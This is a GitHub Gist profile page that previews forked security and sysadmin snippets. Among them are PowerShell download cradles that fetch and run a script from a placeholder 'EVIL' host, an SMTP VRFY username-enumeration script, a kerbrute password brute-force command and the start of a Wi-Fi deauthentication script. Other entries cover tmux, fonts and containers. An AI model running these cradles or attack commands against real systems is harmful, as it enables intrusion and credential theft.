Skip to content

Instantly share code, notes, and snippets.

View kmahyyg's full-sized avatar
👋
ISeekU

Patrick Young kmahyyg

👋
ISeekU
View GitHub Profile
@kmahyyg
kmahyyg / DownloadCradles.ps1
Created May 12, 2023 07:12 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@kmahyyg
kmahyyg / smtpvrfy.py
Last active April 4, 2023 06:11 — forked from mgeeky/smtpvrfy.py
SMTP VRFY python tool intended to check whether SMTP server is leaking usernames. Updated to Python 3.
#!/usr/bin/python3
#
# Simple script intended to abuse SMTP server's VRFY command to leak
# usernames having accounts registered within it.
#
# Mariusz B., 2016
#
# Converted to Python3 by kmahyyg, 20230404
#
# Designed to split per 18 names, since my environment per 20 failed attempts
@kmahyyg
kmahyyg / kerberos_attacks_cheatsheet.md
Created July 7, 2020 08:13 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

@kmahyyg
kmahyyg / readme.md
Created May 4, 2019 04:11 — forked from artizirk/systemd-nspawn container architecture.md
systemd-nspawn container architecture

systemd-nspawn container architecture

This short document will show how to turn systemd-nspawn into a usable containeration system.

Those instructions here should work under Arch Linux and Debian 9

Host requirements

  • systemd-nspawn and machinectl (systemd-container package under Debian)
  • dnsmasq
  • debootstrap

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name:

@kmahyyg
kmahyyg / 99-noto-mono-color-emoji.conf
Created March 5, 2019 16:21 — forked from IgnoredAmbience/99-noto-mono-color-emoji.conf
Noto Emoji Color fontconfig for Konsole
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<!--
Noto Mono + Color Emoji Font Configuration.
Currently the only Terminal Emulator I'm aware that supports colour fonts is Konsole.
Usage:
0. Ensure that the Noto fonts are installed on your machine.
1. Install this file to ~/.config/fontconfig/conf.d/99-noto-mono-color-emoji.conf
@kmahyyg
kmahyyg / deauth.py
Created June 22, 2018 10:15 — forked from garyconstable/deauth.py
Python Networking Wifi Deauth Attack
import argparse
from multiprocessing import Process
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import signal
import threading
from sys import platform
@kmahyyg
kmahyyg / scrape.py
Created March 6, 2018 02:10 — forked from miguelmota/scrape.py
Python Selenium get cookie value
import time
from selenium import webdriver
driver = webdriver.Chrome('./chromedriver')
driver.get('https://ui.lkqd.com/login')
assert 'LKQD' in driver.title
time.sleep(2)
username_field = driver.find_element_by_name('username')
username_field.send_keys('myusername')